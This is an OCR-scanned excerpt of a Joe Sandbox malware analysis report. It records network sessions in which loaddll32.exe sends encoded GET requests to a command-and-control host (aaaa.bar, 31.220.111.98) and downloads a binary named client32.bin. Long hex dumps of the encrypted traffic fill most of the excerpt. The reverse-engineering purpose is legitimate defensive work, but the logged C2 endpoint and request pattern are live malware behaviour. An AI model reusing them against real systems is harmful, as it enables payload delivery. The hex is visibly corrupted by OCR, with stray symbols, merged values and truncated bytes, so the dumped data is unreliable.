6a bf 9b fa 8c e4 ad 3a 20 45 36 5a 03 e0 ff 57 aa de 5d 27 4d 6d f8 a4 95 ae 49 02 c3 28 03 59 cd e3 fc €9 10 ac 2e 39
9c 64 22 3e 5ac2 8157 11 29 68 Oc 61 51 2f dd c5 b5 77 8f 31 ac 3c 48 aa 79 78 74 63 5¢ da a6 49 bc d2 39 01 f1 Of bb
c2 f6 2a 5f 28 b1 0d 45 ca e9 dd 2c 23 c9 61 c2 45 e8 64 1d 29 cb bl 7 70 c4 6d Ob 74 3d 1a 6f 20 €9 67 f2 6¢ 6a 67 15 27
d6 86 19 bf d1 31 31 15 ca c2 el 0d 22 6 cd 34 a4 87 47 81 23 7c 06 aa db 60 22 7b 5d 59 df 70 e6 8f 80 70 c9 d4 2e 2f
2298 bb ad 88 cb b3 3b b0 11 09 ab 1a f3 75 16 9d 3b
Data Ascii: ;Wd/!h}vI0k~(:8Rs$C2k>@~iKj: E6ZW]'MmI(Y.9d">ZW)haQ/wl<Hyxtc\I9* (E #aEd)pmt=o glig'11"4G#|™"{]Ypp
Jhu;

2021-10-20 13:12:08 UTC 801 IN Data Raw: f4 45 5b 10 5c 2d 4f 1a 90 46 e3 a0 a3 5d 2e e4 27 e6 81 b2 37 {3 fe f5 c0 cb e2 5a Oc 85 ¢8 56 8d 72 ef 1d 40
1f bd 5e 9f e2 2¢ 58 0d ce 81 8d 68 22 f1 3e be b1 ce 56 8e 96 ed 7f cb 93 2f c6 da 16 3f 14 29 1e 69 9f ec 31 e0 23 9a 44
94 ef 4b d8 d0 c1 08 99 69 29 c8 2a 18 90 5d 29 c6 d0 cf 66 66 b7 01 05 60 Ob 83 1a 6d f9 a0 1d a2 2d 4d a8 5e fc 38 c5
9e 05 82 09 de 00 4f b7 73 ea fb 72 8¢ cf 67 11 83 58 16 68 e5 c9 91 0f c6 ab 3c ca bl 6f a4 bf 65 €6 a9 54 f6 5¢ e5 52 58
a347c029a5023c267e718743dbe8e312c256f4e8cla278c510 6540 9f cb f9 f8 c9 72 03 b4 6e 95 83 be c1
6e 77 9d 2a 24 bb 73 49 27 db 0a 07 10 9c 66 19 ba ea 00 22 f3 19 53 e4 al e4 9f 83 db a8 a6 ea 07 ec 20 6f 87 4f c8 Oa
75 cc cc e6 2d fd 2d de 8a 1a 29 f7 1e 23 9e 84
Data Ascii: E[\-OF].'7ZVr@",Xh">V/?)i1#DKi)*])ff m-M"80srgXh<oeT\RXG)<&~qCVxe@rnnw*$sl'f'S oOu--)#

2021-10-20 13:12:08 UTC 817 IN Data Raw: b0 34 69 ae f2 ed 91 62 cf 4c f2 04 e4 81 46 be 40 88 33 ea 12 7f 56 54 38 6e db 40 6d 51 a2 77 ae 02 c6 38 fe
95 2b 17 d7 46 6d 99 c8 3d a7 24 23 10 19 04 2e 3f b8 3d 3c 61 b3 75 82 al db 73 32 a3 ba 8c 74 19 28 b4 61 32 ce 18
c2 a7 b8 29 64 f0 59 ea 32 6e 80 1c e4 08 95 08 11 60 54 47 4f 6e a4 5¢ 7e 63 6d 92 07 c8 8d 02 05 b3 5f 8e 4d dd 31 80
60 af 08 f7 83 2a 1c 25 60 dO f5 0d dc 79 5d 9d f6 32 fa 40 07 fO Od a6 f3 a4 7c 6e 95 c0 37 Of b2 6 fd 4c a0 42 ea 19 f4 5¢
ae dd 23 9b 7 bb d5 6f Oc 63 d1 92 98 60 b3 c4 66 10 04 d9 51 49 7c 5e 2a 52 89 d4 a2 1la ee db f4 56 d6 53 c7 b3 05 c1
44 71 f4 45 8a b0 67 98 7d 76 d2 c0 €9 48 78 c3 e4 75 71 8b 47 b9 c0 41 8a 1c 15 d7 33 95 c1 46 41 8d 8f bd b8 6b 7c 5d
0b 00 3c fb f4 92 c9 be 97 92 fc 29 98 dc 54 40 51
Data Ascii: 4ibLF@3VT8n@mQw8+Fm=$#.?=<aus2t(a2)dY2n TGOn\~cm_M1"*%"y]2@|n7LBX#oc fQI|**RVS
DgEg}VHXUqGA3FAK[]<)T@Q

2021-10-20 13:12:08 UTC 833 IN Data Raw: a6 7e c3 d7 27 38 80 6d 49 5d ad 80 7b 43 c3 fc 9a 87 9f 53 3a b7 14 15 97 8a 69 87 72 bc 3c a7 88 1e 34 ff
Oe d6 ba 8e Of 5d 42 b0 9a d6 48 bf 3d 19 €5 d6 3e 7b 3b 5f 5e b8 5d 9f a4 ac b0 8e a3 bb e9 89 1e 98 2 24 ce 4f d6 42
b4 09 c7 14 65 d4 28 df 25 8d fd 27 a5 fc 9a 08 3c 41 73 ca 7e 2¢ b9 b3 10 20 d0 50 ad 19 1f 23 a0 13 9¢ 55 b8 30 b4 ed
€306 18 78 7¢ 56 12 8e 4d dd 81 ab 9f 21 dc b1 8a 1e aa 8d 1b d5 4b e4 66 9c c8 fc 23 e2 16 65 Of 60 75 d1 21 8f 15 4e
4c 9f ef 63 22 84 4b 27 19 dO 65 1c ff cO 40 8f 76 82 c9 84 €6 Oc 61 {7 d3 32 8a 48 €6 f8 d6 8c 63 4a 68 b4 7b 5e bd 18 69
16 a9 61 13 bf 1a 14 4d 37 04 c2 f8 f3 78 71 1f 87 78 1c ed ae 8f 85 45 7e a4 e4 9f 1d be 25 ea 73 b0 1c 81 9b ee 91 31 b2
97 03 2f 7¢ b8 3e 09 86 68 0 fe Oc 26 42 85 4a 1a
Data Ascii: ~'8mIJ{CS:ir<4]BH=>{;_"]$OBe(%'<As~, P#UOX|VMIKf#e UINLc"K'e@va2HcIh{NiaM7xgxE~%s1/[>h&BJ

2021-10-20 13:12:08 UTC 851 IN Data Raw: ad e0 d1 12 29 22 49 f9 a7 34 97 6f 16 37 a2 81 a9 13 85 99 88 2d b8 18 ed ea 94 02 b8 22 70 88 Oc 4e Oe 1b
00 37 07 5d 64 37 f1 6a 4c 38 7a f2 3a 1b 46 ef 40 57 8c el 17 93 3c a3 4b 92 85 6a 10 e7 3f 00 44 98 2b c3 fa ee 7f 6b 37
fb da 91 35 cf 6a 80 66 60 87 9f 24 9d 96 42 04 cO b3 9a 33 cc 61 ca 16 f3 ed e7 ea a7 3a 20 0f €8 34 ed 80 fe f9 c1 74 5d
e2 9 4a 63 04 d3 49 a0 05 Oa f8 4a d1 0a 90 61 6a 78 cd d8 dO bd e8 5d 41 37 ce 31 6a 1a 93 62 b6 40 78 c3 39 a0 e3 b5
1d 16 c7 a4 52 64 c1 al 86 59 17 c6 04 73 90 dc 81 c5 b8 85 {8 ¢8 87 c0 a5 92 a0 ed 29 c2 60 be 4c e0 e9 2e 7b 3f fd 5b
0f a7 d8 d8 2b 82 e3 60 b6 29 35 2b 35 eb de 6d d5 5b 09 af 1e 19 62 3c c6 34 06 bb 37 el 4c c6 d5 6a Oc e7 7e d4 bc 17
02 40 74 1f 2d 3c fc d2 07 5e 59 fc 92 9e d4 c9 59
Data Ascii: )"1407-"pN7]d7jL8z:F@W<K]?D+k75jf $B3a: 4]JclJajx]A71jb@x9RdYs) L.{?[+")5+5m[b<47Lj~@t-< YY

2021-10-20 13:12:08 UTC 867 IN Data Raw: 1d 15 22 2b 66 85 73 55 9e 6 5d a8 ee ce a7 ad e3 06 87 85 cc aa 6b f2 42 fd 2e 71 66 12 47 8e 4f 20 98 f2 f2
2f c8 e4 86 04 6d 89 5a 47 41 b4 c5 b3 2¢c b5 72 11 ed ba 4a 11 d8 c5 78 7a 07 5e 3a 35 5b 79 1b ea fO cd 1c 51 ca d6 3f
7c2a 8333 78 eaf8ald25356 01 d8 bcf070e3c756dl 49 7c 69 88 45 fd 9e f8 75 51 b3 6b 86 60 ec 24 61 d5 01 53
6 dd 5f dO fc 4a c2 a4 a7 9a el 19 6e 91 30 ef 70 fc 6b 93 3¢ 90 c8 f6 19 fc a6 ce fc 4e 06 d6 48 8f d3 2d 9d 12 97 9d 2e
cb d0 Of ee c6 9c 88 05 10 81 d9 1b 82 d6 24 26 €5 f9 81 16 d7 c4 21 f4 8d 80 59 6e 21 72 al 30 24 dc 56 eb le c2 33 72
fe 43 94 d6 f7 89 b8 f9 cO bd e3 2a fb 80 da Of al ff 1d 43 89 84 1a b5 ef f5 db bc e9 79 91 d6 80 6d 40 24 9f 96 b2 01 78
4a 45 bf 58 84 4b 5e 45 41 b6 5b 47 0d e4 3b e4
Data Ascii: "+fsUJkB.qfGO /mZGA,rIxz*:5[yQ?|*3xSVpVI|iIEuQk $aS_JnOpk<NH-.$&!Yn!r0$V3rC*Cym@$xJEXK EA[G;
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kBytes
Timestamp transferred

2021-10-20 13:12:09 UTC 883

2021-10-20 13:12:09 UTC 899

Session ID Source IP

14 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:08 UTC 800

2021-10-20 13:12:08 UTC 849

2021-10-20 13:12:08 UTC 849

Session ID Source IP

15 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:12:08 UTC 849

2021-10-20 13:12:09 UTC 914

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49962

Direction

ouT

Source Port
49963

Direction
ouT

Data

Data Raw: 2e fb d7 0d cb 00 dd e6 64 4f 12 08 ca b5 65 15 ea dd 61 cf 59 a0 04 52 6d 3a 86 4a 5c 6f 3c 6¢ 28 15 af b6 dO
8901 51 da 89 16 c7 3c 79 9b 77 68 ca cd 8c 91 5e f7 6f 51 58 f6 11 eb 66 c3 96 07 b5 3c 1f 26 a5 27 0a 26 66 13 20 26
le ed 1f 1e 48 82 7f 31 c3 3e 11 2e 36 52 61 d9 12 a3 8a 5b d8 ad 2e eb c4 5 02 a5 f3 57 48 23 3e €2 49 bc 1c 72 e8 1d
42 3484 0c e4 4b 29 19 0d 98 88 d1 f8 85 30 f5 bc 13 32 3e d8 76 cb 37 60 de ac 31 9d bc c1 16 d8 ea 49 2d d5 70 d8 18
86 la c3e6 5c b3 d0 1554 d4 a9 76 e7 43 90 50 a7 09 85 d6 8b 54 00 3d d6 c1 cd 33 €9 99 9b 62 8d Ob 61 48 63 fd 51
6859 24 9e e2 b2 37 dd ce 4a 4e ba 5e 02 84 db 7f 49 bd al c0 de 66 €3 69 a4 1f 2a Oc 67 99 85 fb 24 98 b2 ab 69 af 8e
8c 62 79 8c Oc 4b d4 5d 7a 2f 03 f4 f8 ac 01 36 31 ab 4a

Data Ascii: .dOeaYRm:J\o<l(Q<ywh"oQXf<&'&f &H1>.6Ra[.WH#>IrB4K)02>v7" 1I-p\TvCPT=3baHcQhY$7IN/Ifi*g$i
byK]z/61J

Data Raw: 9a fa 62 32 5e b9 ab 85 b9 ab 50 c2 4a 8f c4 09 06 ae d5 bc 3a f3 8f fO af d1 30 Ob 9a cf 47 a5 60 5a 9d a6 b3
3 db df 96 f0 20 0d a5 af d2 f4 64 bd 31 f5 be 5d f3 c¢5 fa 96 bb b3 a5 6d de cc 0Ob f5 bf 50 97 43 de 4f 1a 6d 46 32 20 ed 7C
40 f0 8e 52 f1 9b a7 17 20 51 75 c9 52 f0 df 6f 73 c6 07 1d 2a 25 36 cb 2a 6f 45 b8 56 ed 01 4a f2 36 7a e4 02 b6 48 2f 27
9c 06 4a 19 1f 1d 07 33 7c 4d d9 28 2c 7d 74 84 5¢c 11 7c¢ 58 97 9d 6a ab dd eb d2 6¢ d9 06 63 cc 3e 4a da c1 53 67 47 fc
ef 52 94 5a 60 47 3b a9 3c 3b 31 a2 8e 39 86 a6 02 7d 89 e6 27 f4 64 49 f4 28 Oe 30 dc Oc 71 Oc 45 b0 da 9e ea 87 8e 11
ac 2c 22 ca 4e 8d 3f ae 3f 71 19 52 29 a0 82 9e 3b eb db c6 1e bf €9 4e bl 8b 87 d5 1f 14 a3 8a 84 41 34 77 05 fa 28 d8
dd ef 95 86 ec 0f 8d cb 65 Oc f0 72 {7 2a fa

Data Ascii: b2"PJ:0G"Z d1]JmPCOmF2 p@R QuR0s*%6*0EVJ6zH/J3IM(,}t\|Xjlc>IJSgGRZ G;<;19}'dI(0gE,"N??gR)
;NA4w(er*

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loaddlI32.exe

Data

GET /jdraw/VsSEIWZ_2Fbo/VS2aUL2DPkksBz/_2BbHmaiMGFq8k7sf_2FK/_2BE4M1ccGRR2cER/_2ByL6dRggF3y
7vIVMICRRP5R6TojvxFTX/kOSI73q2F/w8Q6acp8KbUFCWTOVCqa/KHPQFw1IXW8ntmCw6R5/_2FriFMVRAS7jKjzJ
Ngjl_/2B3JIm1ZTjVZL/7fon_2Fm/jOA3VF_2BTXTJlyVXccf7gs/IMfn4fiHWd/I131boiX_2F3/uQt3.crw HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PHPSESSID=al703vnk3gvkbspp3p283jhcg4; lang=en

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:07 GMT
Content-Type: application/zip
Content-Length: 1849

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 22 1f 12 32 d8 c6 ba 35 1b ff 2a a8 1c 15 83 72 b3 16 30 ce 8b f2 94 08 32 b5 de 35 dc 20 3e ac 5d 96 4d c1 42
3b eb 46 b9 92 bf 30 9f d0 97 f7 68 13 8¢ 4f ec d3 8¢c 98 37 3b 38 Oc 51 23 b9 f0 b7 b7 68 ff 4b ce a9 e2 e3 Oa fb e3 28 6e
38 b4 86 ed 03 1a b9 b3 8d e3 35 69 c2 0f bd f8 60 4a 2a ba b5 be 77 d8 2¢c 7e 54 ea b0 d2 c4 21 2c 2f 64 67 78 04 20 fb
5 b4 13 84 8f 93 92 a9 da b7 b0 d8 c4 3 26 b2 9b 6b d4 41 a2 c0 2c 65 66 7d 01 c0 92 8f 3e be 38 el 5d 3b d7 Of a8 6f 1f
17 e3 68 76 c4 94 df 75 68 dc cf b3 96 d9 68 a9 37 d4 9e 63 ee bl 03 af 8a 98 78 93 81 67 51 05 29 ae 7 06 1d 8d 12 90
f1 82 ea b8 3a bb 3b 1a 73 ab 17 ff bb 0a ba al e4 5b 0f 0d b8 1e 90 30 67 3c 7b 7f 44 09 be Ob ee fd 94 d7 8d fb 6a e7 6f
b3 40 4c 70 ab fe 15 b8 b5 c7 €8 0d 01 1a 59

Data Ascii: "25*r025 >]MB;FOhO7;8Q#hK(n85i J*w,~T!,/dgx &kA,ef}>8];0hvuhh7cxgQ):;s[0g<{Djo@LpY

Destination IP  Destination Port Process
31.220.111.98 443 C:\Windows\System32\loaddll32.exe

Data

GET /jdraw/yQNRXOou_2F/TKb_2FDPLUXEHX/34UsINMRGrFOUObrjExsG/R8IvAy6e3bs7Nh2H/QoLe_2Bwp2v2e
8Z/lwuigSnSaPWQnudhme/0fUiRiwnK/HC2m5rShiXeZnaMhBAa7/2sv1pUExc23tcG4uzbe/S9YqUCaVHHISHD _2F
HBasu/DOIWi2P1fW4xM/vPgP1tY3/PB1lyvdHjP2kNFIOvVG_2Fhxc/khvlQiPG/3tnR7uH.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:08 GMT

Content-Type: application/zip

Content-Length: 178758

Connection: close

X-Powered-By: PHP/5.4.16

Set-Cookie: PHPSESSID=h4s0ka612qu3hrcshs8hb4ig95; path=/; domain=.aaaa.bar
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache

Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:09 UTC 915 IN Data Raw: 48 09 14 d8 bf b2 ec 04 c8 3f fb 4a d3 80 06 fO bd 59 db e6 a5 dc 23 c3 c4 68 50 2b c5 72 6b 51 b9 b6 5d {6 b0
8c e5 6¢ 92 cd 4f eb 84 b9 2a 59 c3 36 el e6 ff 74 17 e2 17 9f 76 48 el 10 ¢3 10 20 de 74 a3 61 05 3d 18 af ac d1 94 a7
dc dc 5f f5 ba 05 9e 73 7e 12 fb c3 d6 e6 b3 38 19 98 c6 03 29 3f e2 e7 9e 10 4f f5 6¢ 76 05 ad a2 46 50 82 ef cd d6 8c Oe
b7 d4 7a 83 Ob da 2d 3f 56 17 al 34 c0 54 e5 30 ea 5b 21 4d d8 8f 21 be 07 db Ob 89 d7 cf 77 3b 02 38 71 1c 1f 9b 78 8e
6f 9b b0 €6 1c 94 9b b3 54 21 79 3e 7e 33 82 21 be 10 b5 61 81 24 d9 8a 08 f5 e7 50 bd 70 de 91 53 e6 73 d6 c6 19 5e 05
39 caaa 07 24 5b aa 6¢ 8c 1d 89 d8 40 d1 82 e6 df 9e 85 6d c2 2a f3 5b 6b a5 60 05 cd cf 4f 2¢c bf c1 14 5d d9 66 4e 14
99 c2 6a 73 24 a6 b0 d9 6e 5b Oc a9 73 a8 5e db 86
Data Ascii: H?JY#hP+rkQ]IO*Y6tvH ta=_s~8)?0IvFPz-?VATO[IM!w;8qxoT!y>~3!a$PpSs”9$[l@m*[k O,]fNjs$n[s"

2021-10-20 13:12:09 UTC 930 IN Data Raw: 9d 93 c7 ee a4 f6 76 97 81 b0 53 2e b9 4a d2 2e Oe d1 fO 42 c8 99 45 c3 4f 1b 82 3a 6¢ 44 b1 dO 4e 60 68 Of ca
aa 59 27 0d 82 44 0f Oe d8 6¢ a5 f2 5a 2b 34 51 Oc 9e c0 fe 2b 71 00 27 20 Oe 37 af 8d a3 95 5f 9b 29 c9 d8 35 b8 2a 66
d5 20 3a 90 9c 22 7b b6 ab 88 6e 32 bd 60 33 05 b1 67 fO a8 e4 ca 6d 9d Oe db 05 ea 8c cc aa 2a b6 75 21 e3 ac 76 51 cd
be e0 2d d9 17 8b 7 c2 2d a6 66 e0 ad f0 fe d4 f9 06 9d 93 f2 9f e0 ab 3b 40 70 7 be 38 ab b5 b6 ee 6 ee 83 bf 4c 8e d3
3532 fd e9 f1 8d 4d ac 91 22 ad 48 0d 4e 9f 67 4d 93 75 8¢ 40 39 88 5f 8f c3 b6 ae c1 b3 77 07 58 4a 8e 45 b8 47 ae 5¢
de 2b ed eb 0d 10 Of ba a7 6a 62 62 23 12 29 2e 35 bb bc 51 44 0b ef 76 63 8f e0 b2 0f bc 50 7e 3e cb 02 20 8¢ 8d 42 4b
38 46 53 8e 6d f4 f8 e2 95 21 09 75 23 20 5f af b7
Data Ascii: vS.J.BEO:IDN"hY'DIZ+4Q+q' 7_)5*f :"{n2 3gm*ulvQ--f;@p8L52M"HNgMu@9_wXJEG\+jbb#).5QDvcP~>
BK8FSm!u#

2021-10-20 13:12:09 UTC 946 IN Data Raw: 3e b5 30 97 fa 16 ce dc da ed 8 bb 1c b3 d7 33 42 62 26 04 50 c9 ae a2 8a d7 Oc bd 59 fa 3d b7 94 9e e8 25
4b 9b 40 be 76 €8 3a ad 03 7f 12 a2 78 80 35 36 16 85 39 d8 c9 f0 3c 10 35 d3 2b 07 8d 44 02 38 bc €6 85 7c €7 8b b7 25
8b 79 c8 7aee ee 1b cc 72 06 c8 2a el 17 al c7 c5 41 68 75 09 bl c5 32 Ob 5e 03 01 f6 3b cc 77 07 e5 6f 4d 51 1b 95 cb
1d 16 30 1a 06 c1 a5 cd 08 al b6 f6 26 4e ba f8 a2 49 2¢ 1c 43 76 d1 a5 c5 47 99 6e 05 bd a7 1e c6 e6 03 94 f4 ad be 58
f1 71 89 43 63 13 8a 1e 32 e4 a8 18 93 ef 2e ba df ab €9 4a d2 fa d6 04 09 ea c4 5f 8b 7f 3d 5b 34 da 69 e0 c2 25 12 36
56 84 e8 0d c5 Oc da eb 25 6e 41 a4 06 88 94 49 21 bb ee c0 23 70 60 51 b2 1c 2a 91 f0 36 d2 dc 76 ff c1 98 7d db 35 a6
03 f4 49 15 d9 c4 81 fd f6 5f 7d 0f 67 9e d1 54 05 f8 7f
Data Ascii: >03Bb&PY=%K@V:x569<5+D8|%yzr*Ahu2";woMQO&NI,CvGnXqCc2.J_=[4i%6V%nAll#p Q*6v}5I_}gT

2021-10-20 13:12:09 UTC 963 IN Data Raw: 50 1e Ob ac 4a ce ee 01 ¢3 32 96 1b bd 04 7 0a c8 3b 88 1e €6 d3 b0 de 5¢c b7 76 9f 20 66 82 13 55 7a 3e 5¢
cb 79 14 ab 5c fa 96 18 €5 67 d2 19 90 78 9f ee 30 8c f1 3f 2e d6 ec ba 9a 6b f8 da 05 d4 37 52 8b a3 Oa 1a 19 05 Oa e7
5a 88 00 8b 2a 36 08 41 f9 1b e9 97 d2 26 Oc 97 de {7 ed c6 73 ab d5 8a 06 ef 27 be Oa 4e c3 Oa e9 be 5a 6f ac a9 19 20
9807 51 2b 13 07 36 be 09 b9 b7 41 1a 66 56 b6 bl 3a ac 8f cb 62 3b fa 4f 63 78 a8 29 6¢ 69 cf 83 6b al al d5 9f 98 {7
5183 7c c3 25 ch 56 a3 1a ed 3c 71 bf 38 00 08 af db ca ee 7 a8 d4 e4 9d 6a c1 40 23 50 7b 4c 57 46 6b c0 32 7e c6 7f
ed 56 ba 66 2f 2a cb el 7e b2 be 9e 61 5¢c ec Oc f3 b4 44 15 72 4b 72 d5 74 52 32 24 1b 01 72 73 3a 2d cc 39 53 67 ce c3
46 2f b5 04 d2 76 50 fc 1f 74 13 2b 4b bf 91 37 05 27 c4
Data Ascii: PJ2;\v fUz>\y\gx0?.k7TRZ*6A&s'NZo Q+6AfV:b;0cx)likQ|%V<q8j@#P{LWFk2~V{/*~a\DrKrntR2%$rs:-9SgF/vPt+K7"

2021-10-20 13:12:10 UTC 979 IN Data Raw: 14 89 b0 b4 78 16 cb 9a d1 b4 2b 9a 06 d1 06 1a 64 a3 10 4c ce 3a 8a 60 7c 73 b2 8b 7e 79 af a2 dc d1 6f 54
60 79 9f f4 96 38 4f 3b 0d 9e 31 ea cl 4b 1a cl 40 09 64 af 88 bc 54 18 ff 22 1f ¢7 04 06 86 79 fb 40 18 e4 1a 1f 36 a5 9e
94 ba 5f b7 60 6a 56 6a 8d 1c a6 41 53 d8 ca c6 a4 5a aa 51 ab a7 27 00 4d e4 3b e8 81 18 ba ea 8e 7c 6e 65 4d al a0
1c 3fbf 81 27 c8 85 c0 08 €9 ee 06 c9 47 cd a4 58 3¢ 71 b2 83 94 31 1c 7f a7 b3 c7 68 34 ff 5e 29 23 a3 8c al 21 90 5b
3d 77 c6 bb 48 39 f2 a4 c2 e2 4f 7c 9d 9c Oc ¢3 9d fe 5¢ 92 64 89 al dO fa a3 75 d7 55 4c 6a a7 d1 94 d1 8f 1c 3e a2 09 ac
7b 60 d0 83 ad 42 4e ab ec 59 29 Oa 2a 1f €9 60 95 6¢ 49 ea 7a 2e 96 60 81 72 16 79 a5 4d 7e 07 06 45 08 e2 6¢ 71 c5
eb 61 b2 5a df Oa f4 6f e7 bc 9d 8d ea 30 3e 9a 93 94 da
Data Ascii: x+dL:’|s~yoT y80;1K@dT"y@6_'jVJASZQ'M;|neM?'GX<q1h4")#![=wHIO\duULj>{"BNY)*'liz."ryM~ElqaZo0>

2021-10-20 13:12:10 UTC 997 IN Data Raw: b3 89 01 8c fe ba 6b 9a 67 71 00 b5 fc 2a 36 f6 da c3 1f 71 26 a8 a4 a7 99 49 ad 9f 98 07 72 49 d2 42 4f 4b 87
6e fc 54 5a d2 8f 20 8e fd 64 5e a3 fa e8 e8 a4 2e 96 44 4b 9f 5¢c e0 da 8c 65 de 38 cb 99 b5 c2 61 3c 10 58 fc 70 45 b9 22
4e b7 Oc b7 aa 95 18 05 da 73 ba 96 45 67 6f 1f 8f 3f a4 cO f4 27 8f 3c 74 87 ac 75 a4 60 40 a2 47 b6 95 62 ae 8a 02 b6 4f
82 4b ae e2 3e aa 89 2a 8a 73 f3 50 96 97 34 7c 13 4f 6e 83 a3 fc 70 a0 d7 d6 2c ab 65 52 59 08 89 4f 9a 41 3a 7593 17
32 49 b9 4b ad 60 1e 6f cO 08 dd 14 90 45 75 08 25 ed 73 d2 81 6d 12 83 b7 69 3f 61 14 79 65 db e6 0Of 88 64 ea f0 54 e9
eb 31 05 70 d4 a0 5f a9 81 74 60 32 79 cd 93 54 32 09 45 9e 7b e7 12 05 3f bl da b3 7a 35 5¢ 61 d6 43 6b ee 2f 39 9c 36
e7 db 22 chb aa f7 db 71 81 aa 8f 36 32 9d ea 04
Data Ascii: kgg*6q&IrIBOKnTZ d*.DK\e8a<XpE"NsEgo?'<tu” @GbOK>*sP4|Onp,eRYOA:u2IK oEu%smi?ayedT1p_t 2y
T2E{?z5\aCk/96"q62

2021-10-20 13:12:10 UTC 1013 IN Data Raw: fa f6 33 1b b6 39 49 89 e2 64 a4 95 al ac bl b1 0a 42 b2 10 f8 d8 01 53 9c f7 3c ad 2d 4c 84 3b 72 ce 23 df 17
cf 5e 3e cc b4 61 04 ¢5 52 ab a7 b2 2b 23 54 1d 1a 01 d4 36 2d 3d ae b0 1e 7b 7a ff 48 9c 28 cc da a6 c0 95 ae 62 af dO
74 b3 cb c6 21 de c0 d7 df bd 9a 7a 14 43 58 00 36 9a 60 23 b8 7c af 09 42 b2 a5 fa d6 c1 6d 92 75 e0 22 a8 96 df b7 e3
7d 27 07 b8 30 01 e4 79 d4 29 b4 86 db 90 69 34 61 8d e2 8c af 36 2d 33 64 ee a8 62 a9 96 05 7b 22 d8 8a 22 1e af 8b d8
6e 6f 6a c3 e8 88 e5 d1 12 3c 6b 99 75 9d 62 8a 2b 40 95 20 fa bl 07 ae 20 d2 79 58 97 3a 01 cb 67 c5 61 €8 a0 3a b7 91
7a e4 de 6f Oe 67 7f Ob ba b4 43 63 12 a3 91 7e b2 Oc 86 68 83 9a ec 19 98 bl 9f €8 39 50 b5 06 3e 1d 85 a3 c9 f5 ed fe
b2 27 dd bd 52 a6 Oe b9 ca e3 Oc 42 Oc e5 3d 29 83 63
Data Ascii: 391dBS<-L;ri#">aR+#T6-={zH(btlzCX6 #|Bmu"}'0y)i4a6-3db{"'noj<kub+@ yX:ga:zogCc~h9P>'RB=)c

2021-10-20 13:12:10 UTC 1029 IN Data Raw: 6d cb 2f 68 18 60 2d 77 7b 30 3e f7 16 cb 06 0d ed 04 7c 58 12 ba 32 5b 9c 9a 7f d7 9 fO 4e 8¢ 00 db dd 67 2a
90 2f 32 dc 27 d5 61 ce ab bf d6 11 fb ef a4 b2 59 d5 28 f8 cc 9e 5b 36 91 89 3a c4 10 e4 8b 1a 17 al ed Ob 5c 99 35 16
ad ed 6f 90 d8 d7 3 60 b0 68 74 65 75 fd 9e b5 f7 8d 71 5a c7 ed 4f 3e 44 aa de 1f a0 35 1b 8b 00 6b 03 a7 d8 ac 64 af 04
98 af 4a aa 76 d0 90 99 69 1b 71 f1 60 33 4d c3 20 1a b6 a7 46 bb bd 33 07 92 09 47 ae a6 bb 51 19 18 c4 dd e6 5¢ 04 cf
3 b4 72 34 23 5f 4c 52 b6 30 bd d2 e6 d6 f2 ba de 47 d3 cb 25 0d b2 0a 7e 6b f1 1c e6 81 33 c1 ef ae 35 8b 35 f4 al 56
97 2f ¢6 5¢ 72 Ob 1e 9d ef b1 8¢ 20 Oa fe 42 f2 64 5¢ 0a 96 17 f8 €6 06 40 c1 fe 3d f2 fe €8 40 42 e0 a3 ee a5 99 9e 5e ea
el 53 5a 05 0a 63 50 73 58 €5 6f 13 d1 72 88 al
Data Ascii: m/h™-w{0>|X2[Ng*/2'aY([6:\50 hteuqZO>D5kdJviq 3M F3GQ\r4#_LR0G%~k355V/\r Bd\@=@B"SZcPsXor

2021-10-20 13:12:10 UTC 1045 IN Data Raw: 53 62 ae a3 d9 7e 7d c3 98 68 9b fd 89 49 70 57 Oe eb 52 29 d6 62 €9 f2 1d 7c d2 46 2f a4 96 33 f6 b6 b3 94
d7 30 63 04 db fb 60 4d 2c 82 18 01 17 89 2f 44 Oe 4f 7f 5f b2 79 c7 f3 f9 88 ad 5e 15 d3 3f c9 fd 72 fd 77 87 17 60 75 f8
85 83 6b bc 96 51 7a 33 23 e7 bf aa f3 5¢ 3e cd f2 10 54 d0 c5 8 aa 0d c9 05 d8 c3 6¢ ef 6a 00 de 77 81 77 d9 fa d9 93 71
85 14 dc f0 13 ff 87 f6 7f 1d 3¢ 3d 29 77 97 16 13 13 fa €5 8b €9 c9 cl ad 5¢ 0d a5 b7 be 11 a6 85 a8 5b 1b d8 ae e7 85 ff
€8 46 47 ed al 40 b2 bc 1a 82 fc d0 9c a8 32 b7 dd 06 cf 50 34 72 6b 24 ad d7 ec e0 ac 79 27 1e 9d 26 e2 le c2 42 2a e8
eb 49 33 b2 8f ad b7 7c 81 79 73 6f f8 af d3 6b 80 7c el 13 21 f7 60 Ob e0 ff 59 a0 f8 81 3e 7f 44 55 87 59 5e 53 c0 3a 96
a9 09 3d 45 f0 e4 5b b7 1d c6 5d 47 01 ed a4
Data Ascii: Sb~}hIpWR)b|F/30c’M,/DO_y ?rw ukQz3#\>Tljwwg<=)W\[FG @2P4rk$y'&B*I3|ysok|!"Y>DU Y S:=E[|G

2021-10-20 13:12:10 UTC 1061 IN Data Raw: 5b al 00 c6 64 27 dO af 5b el 4c ed c1 71 6f 5b f5 7b 94 53 8c e5 92 1e b4 2f 7d 8d c5 5a e6 ac Ob 6e f5 0d 40
